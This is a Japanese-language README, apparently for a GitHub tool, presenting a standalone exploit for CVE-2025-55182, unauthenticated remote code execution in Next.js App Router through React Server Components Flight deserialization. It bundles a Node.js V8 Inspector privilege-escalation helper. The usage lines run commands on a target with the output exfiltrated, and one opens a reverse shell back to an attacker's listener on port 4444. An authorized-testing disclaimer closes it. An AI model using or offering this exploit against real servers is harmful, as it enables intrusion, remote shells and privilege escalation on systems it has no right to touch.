
CVE-2025-55182 用のスタンドアロンエクスプロイト。React Server Components Flight の逆シリアル化を介して Next.js App Router で認証なしの RCE を実現し、リバースシェルと Node.js V8 Inspector 権限昇格ヘルパーを備えています。
React Server Componentsを有効化したNext.js App RouterアプリケーションにおけるCVE-2025-55182のスタンドアロンエクスプロイトです。サーバーアクションエンドポイントに細工したRSC Flightペイロードを送信することで、認証不要のリモートコード実行が可能になります。process.mainModule.requireサンドボックスバイパスを介して特権プロセス内でコードを実行する、Node.js V8 Inspector(デバッグポート)のローカル権限昇格ヘルパーも同梱されています。
CVE: CVE-2025-55182
python3 -m pip install requests # Python PoC用
cdp_privesc.pypython3 cdp_privesc.py <ターゲット>
react2shell-poc.py(RSC RCE — ベンダー提供、クレジット参照)python3 react2shell-poc.py -t http://TARGET:3000 -c "id" # エラーベースのコマンド外部送信
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost LHOST --lport 4444
react2shell-poc.py はp3ta00氏が公開したCVE-2025-55182のPoCであり、自己完結型チェーンのために
https://github.com/p3ta00/react2shell-poc から変更を加えずにベンダー提供しています。
cdp_privesc.py(Node.js V8 Inspectorのローカル権限昇格)はオリジナルです。
認可されたセキュリティテストおよび教育目的のみに使用してください。このツールは、所有しているシステム、または明示的な書面による許可を得たシステムに対してのみ実行してください。
著者: r3vpwnx